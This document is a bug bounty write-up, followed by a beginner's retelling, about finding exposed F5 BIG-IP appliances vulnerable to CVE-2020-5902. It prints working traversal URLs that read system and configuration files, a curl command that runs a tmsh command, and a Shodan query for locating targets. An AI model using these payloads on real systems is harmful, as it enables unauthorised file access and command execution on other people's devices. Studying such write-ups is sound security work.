How I found 10 Remote Code Execution in 10 minutes CVE-2020–5902
Published on medium.com
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a short account of hunting for instances of CVE-2020-5902, a vulnerability in F5 BIG-IP that had been disclosed shortly before the author wrote the post. The author does not describe the internals of the product beyond the paths used in the proof of concept. The affected component, as shown by the requests, is the BIG-IP configuration utility under /tmui/, and in particular the locallb/workspace endpoints fileRead.jsp and tmshCmd.jsp. The first reads files from the appliance, the second runs tmsh commands, which is the BIG-IP command line shell.
The author frames the whole exercise around finding exposed BIG-IP management interfaces on the internet and confirming that they were vulnerable, rather than around analysing the vulnerability itself.
Setup
The only tooling mentioned is Twitter as the source of news, Shodan for finding hosts, and curl for the request. No accounts, roles or product versions are given. The preconditions implied by the requests are that the BIG-IP management interface is reachable over HTTPS from the internet and that the vulnerable /tmui/ paths are exposed.
Finding it
On 4 July the author saw a tweet about the F5 BIG-IP vulnerability. At that point there was no public proof of concept, so the author, describing themselves as a beginner bug bounty hunter, set the topic aside and assumed it could not be exploited.

The next day the Twitter feed contained a meme about the vulnerability.

A few minutes later there was more.

At that point the author started looking for a proof of concept and found a couple of them.
Exploitation
Step 1: read files through the traversal
The proof of concept the author found for directory traversal consists of these URLs:
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hostshttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.licensehttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.confhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
Each line targets the management interface at https://<IP>. The path begins with /tmui/login.jsp/..; and then continues to /tmui/locallb/workspace/.... The path contains a ..; segment between /tmui/login.jsp and the workspace endpoints. The fileName parameter selects the file to read: /etc/passwd, /etc/hosts, /config/bigip.license and /config/bigip.conf. The last line switches to tmshCmd.jsp with command=list+auth+user+admin. The author does not show any response bodies for these requests.
Step 2: run a command
The proof of concept for remote code execution is a single curl invocation:
curl -v -k 'https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
The URL uses the same ..; traversal to reach tmshCmd.jsp, and the command parameter carries the tmsh command list auth user admin. The author describes this as finding the RCE "with only a single command". No response is reproduced.
Step 3: find exposed appliances with Shodan
To locate domains running a vulnerable BIG-IP, the author used this Shodan query:
title:"BIG-IP®- Redirect"
To check a specific organisation, the query is narrowed with the org filter:
title:"BIG-IP®- Redirect" org:<yourorgname>
The author reports that the first query returned 8.4k results.

Step 4: pick a target and report
The author looked among the results for an organisation that ran a bug bounty programme and found 10 domains belonging to it that were vulnerable to the CVE. A proof of concept was prepared and all 10 were reported. The author notes this was the first RCE they had found and that they were reporting not one but 10.
Four hours later, every submission had been marked as a duplicate. The author's explanation is that the bug had been reported a day earlier, and that in bug bounty there is no room for the second person.
Root cause
The post does not analyse the defect. What the requests show is that a path containing ..; after /tmui/login.jsp reaches the locallb/workspace endpoints, which then read arbitrary files named by fileName and execute tmsh commands supplied in command. Why the traversal bypasses the access control in front of those endpoints is not discussed, so any explanation of the parsing or normalisation mistake would be speculation.
Impact
On an exposed and vulnerable appliance, the proof of concept reads local files such as /etc/passwd, /etc/hosts, /config/bigip.license and /config/bigip.conf, and runs tmsh commands. The author treats the command execution as remote code execution. The practical limit is reachability: the management interface has to be exposed, which is exactly what the Shodan query is used to find. The author does not assess what an attacker could do beyond the commands shown.
Fix
The post does not describe a patch or configuration change. It only points readers to the automated scanners that, by the time of publication, would be appearing on GitHub for this CVE.
Variants to test
- Run the Shodan query
title:"BIG-IP®- Redirect"and addorg:<yourorgname>for a specific organisation. A large result count means many exposed management pages; for a scoped test, a hit inside your own organisation's range is the starting point. - Request
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd. A positive result is the contents of the file in the response rather than a login page or an error. - Request
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin. A positive result is the output of thetmshcommand, which confirms command execution. - Try the same traversal shape against other paths under
/tmui/on the same host. A positive result is reaching an endpoint that should require authentication.
Takeaway
The author's advice is to keep up to date on Twitter, because most of the information security community is there, and to check the automated scanners published on GitHub for this CVE.
What happened, in plain words
A security researcher read on Twitter that a serious flaw had been found in a piece of business equipment called F5 BIG-IP. The flaw let someone who could reach the device read files on it and run commands on it. The researcher found some ready-made instructions online, used a search engine for internet-connected devices to find devices that looked like BIG-IP, picked an organisation with a bug bounty programme, and reported 10 of that organisation's domains. Four hours later all 10 reports were closed as duplicates: someone else had reported the same thing a day earlier.
This is a beginner's retelling of that story. Every request below is copied exactly as the researcher published it. Where the researcher did not say something, such as what a server replied, I do not invent it.
The background you need first
A few ideas come up again and again, so here they are before the story starts.
- A server and a web interface. A server is a computer that answers requests from other computers. Many business devices, such as firewalls and load balancers, have a small website built in so that an administrator can log in with a browser and change settings. That website is called the management interface.
- A URL and its parts. A URL is the address you type in a browser, for example
https://example.com/some/page?name=value. The part after the domain and before the?is the path. The part after the?is the query string, made of parameters such asname=value. Parameters are how a web page passes choices to the server, like ticking a box on a form. - HTTPS. The
https://at the start means the conversation between your browser and the server is encrypted, so nobody in between can read it. It says nothing about whether the server is trustworthy or patched. - An endpoint. An endpoint is one specific address on a server that does one specific job, like one counter in a large office.
- A command line and
tmsh. A command line is a way of telling a computer what to do by typing short instructions instead of clicking.tmshis the command line that BIG-IP devices understand. If a stranger can make the device runtmshcommands, that stranger can make the device do things, which is why this is called remote code execution. - Remote code execution (RCE). RCE means someone on another computer can make your computer run instructions of their choosing. Think of it as a stranger being able to press buttons on a machine in your building from their own home.
- Directory traversal. Servers store files in folders, also called directories. A traversal is an attempt to step out of the folder a web page is supposed to use and reach files elsewhere on the disk, such as the system's list of user accounts. The trick usually involves special sequences in the path that the server mishandles.
- A proof of concept (PoC). A PoC is a small, concrete demonstration that a flaw is real: the shortest set of requests that shows the problem. It is not a full attack tool; it is evidence.
- Shodan. Shodan is a search engine that indexes devices connected to the internet, rather than web pages. You search it by characteristics such as words in a page title, and it returns lists of matching devices.
- A bug bounty programme. A company may invite outsiders to report security problems in its systems and pay for valid reports. Each report is called a submission. If two people report the same problem, the first one counts and the later ones are marked as duplicates.
curl.curlis a free command line tool that sends a request to a server and prints the reply. It is a way of visiting a URL without a browser, which is handy for copying and repeating exact requests.- A certificate. HTTPS uses a certificate to prove a server's identity. Devices often ship with a self-signed certificate, which is one the device made for itself rather than one issued by a trusted authority. Browsers and tools warn about these.
The news arrives
On 4 July the researcher saw a tweet about the F5 BIG-IP vulnerability, which had been discovered recently.

At that point there was no public proof of concept, so the researcher, describing themselves as a beginner bug bounty hunter, set the topic aside and assumed it could not be exploited.
That reaction is worth pausing on, because it is the most common one. News of a flaw without a demonstration feels like a locked door with no key. In practice the gap between the two is often a day.
The next day the Twitter feed contained a meme about the vulnerability.

A few minutes later there was more.

At that point the researcher started looking for a proof of concept and found a couple of them.
Step 1: reading files through the traversal
The first proof of concept the researcher found was for directory traversal. It is a list of URLs, one per line:
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hostshttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.licensehttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.confhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
Line by line, in plain words:
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdasks the device at<IP>to read the file/etc/passwd.<IP>is a placeholder for the device's address; you replace it with a real one.- The second line is the same request with
fileName=/etc/hosts. - The fifth line changes endpoint: it uses
tmshCmd.jspinstead offileRead.jsp, and passescommand=list+auth+user+admin. The+signs stand for spaces in a URL, so the command islist auth user admin.
Why the path looks odd: it starts at /tmui/login.jsp, the login page, then contains ..;, then continues to /tmui/locallb/workspace/.... The path contains a ..; segment between /tmui/login.jsp and the workspace endpoints. The researcher does not explain why that works, only that it does.
Step 2: running a command
The proof of concept for remote code execution is a single curl invocation:
curl -v -k 'https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
Line by line:
curlis the tool being run.-vmeans verbose: print the request and response headers as well as the body, so you can see exactly what was sent and what came back. Headers are the small lines of metadata at the top of a request or response, such as the content type.-kmeans skip certificate verification. This is expected against an appliance with a self-signed certificate, because otherwisecurlwould refuse to talk to it. It is a convenience for testing, not something to do casually against sites you care about.- The quoted URL is the same traversal shape as before, reaching
tmshCmd.jsp, with thecommandparameter carrying thetmshcommandlist auth user admin.
The researcher describes this as finding the RCE "with only a single command". No response is reproduced.
Why this step matters: reading a file proves you can see things you should not. Running a command proves you can make the device act. The second is the more serious of the two, and it is what the label RCE refers to.
Step 3: finding exposed devices with Shodan
Knowing the flaw exists is not the same as knowing where it is. To locate domains running a vulnerable BIG-IP, the researcher used Shodan with this query:
title:"BIG-IP®- Redirect"
Line by line:
title:tells Shodan to match on the title of the web page, which is the text shown in a browser tab."BIG-IP®- Redirect"is the exact string being looked for.®is how the registered trademark symbol is written in a web page.
In other words, the query asks Shodan for every device on the internet whose default page carries that title. It is a way of asking "who is running one of these?" without visiting anything yourself.
To check a specific organisation, the query is narrowed with the org filter:
title:"BIG-IP®- Redirect" org:<yourorgname>
Line by line:
- The first part is the same title match as before.
org:<yourorgname>restricts the results to devices registered to one organisation. You replace<yourorgname>with the organisation's name. This is how you answer "are we exposed?" rather than "who in the world is exposed?".
The researcher reports that the first query returned 8.4k results.

Step 4: pick a target and report
The researcher looked among the results for an organisation that ran a bug bounty programme and found 10 domains belonging to it that were vulnerable to the CVE. A proof of concept was prepared and all 10 were reported. The researcher notes this was the first RCE they had found and that they were reporting not one but 10.
Four hours later, every submission had been marked as a duplicate. The researcher's explanation is that the bug had been reported a day earlier, and that in bug bounty there is no room for the second person.
That is the whole arc of the story: a public disclosure, a day of waiting, a proof of concept appearing, a search engine doing the finding, and a race that was lost.
Why the flaw works
The post does not analyse the defect. What the requests show is that a path containing ..; after /tmui/login.jsp reaches the locallb/workspace endpoints, which then read arbitrary files named by fileName and execute tmsh commands supplied in command. Why the traversal bypasses the access control in front of those endpoints is not discussed, so any explanation of the parsing or normalisation mistake would be speculation.
What an attacker could do
On an exposed and vulnerable appliance, the proof of concept reads local files such as /etc/passwd, /etc/hosts, /config/bigip.license and /config/bigip.conf, and runs tmsh commands. The researcher treats the command execution as remote code execution. The practical limit is reachability: the management interface has to be exposed, which is exactly what the Shodan query is used to find. The researcher does not assess what an attacker could do beyond the commands shown.
How it was fixed
The post does not describe a patch or configuration change. It only points readers to the automated scanners that, by the time of publication, would be appearing on GitHub for this CVE.
Things to try, in order
- Run the Shodan query
title:"BIG-IP®- Redirect"and addorg:<yourorgname>for a specific organisation. A large result count means many exposed management pages; for a scoped test, a hit inside your own organisation's range is the starting point. - Request
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd. A positive result is the contents of the file in the response rather than a login page or an error. - Request
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin. A positive result is the output of thetmshcommand, which confirms command execution. - Try the same traversal shape against other paths under
/tmui/on the same host. A positive result is reaching an endpoint that should require authentication.
What to take away
The researcher's advice is to keep up to date on Twitter, because most of the information security community is there, and to check the automated scanners published on GitHub for this CVE.
Glossary
- API: a defined way for one piece of software to ask another to do something, like a service counter with set forms to fill in.
- BIG-IP: a family of F5 network appliances, typically used to direct and balance traffic; the devices in this story expose a management website.
- Bug bounty programme: a scheme where a company invites outsiders to report security problems and rewards valid reports.
- Certificate: a digital document that proves a server's identity in an HTTPS conversation; a self-signed one is made by the device itself.
- Command line: a way of controlling a computer by typing instructions rather than clicking.
- Configuration file: a file holding a program's or device's settings.
- CVE: a public identifier for a known security flaw, so people can refer to the same issue unambiguously.
curl: a command line tool that sends requests to servers and prints the replies.- Directory traversal: an attempt to step outside the folder a web page should use and reach other files on the disk.
- Duplicate: a bug report that describes a problem someone else already reported first.
- Endpoint: one specific address on a server that performs one specific job.
- Headers: small lines of metadata sent with a request or response, such as the content type.
- HTTPS: the encrypted version of the protocol browsers use to talk to websites.
- Management interface: the built-in website on a device that administrators use to log in and change settings.
- Parameter: a named value passed in a URL after the
?, such asfileName=/etc/passwd. - Path: the part of a URL after the domain and before the
?. - Proof of concept (PoC): a small, concrete demonstration that a flaw is real.
- Query string: the part of a URL after the
?, made of parameters. - Remote code execution (RCE): a flaw that lets someone on another computer make a machine run instructions of their choosing.
- Self-signed certificate: a certificate a device issued for itself rather than one from a trusted authority.
- Shodan: a search engine that indexes devices connected to the internet rather than web pages.
- Submission: one report sent to a bug bounty programme.
- Title: the text shown in a browser tab, which Shodan can search on.
tmsh: the command line that BIG-IP devices understand.- URL: the address of something on the web, as typed in a browser.
- Verbose (
-v): acurloption that prints request and response headers as well as the body.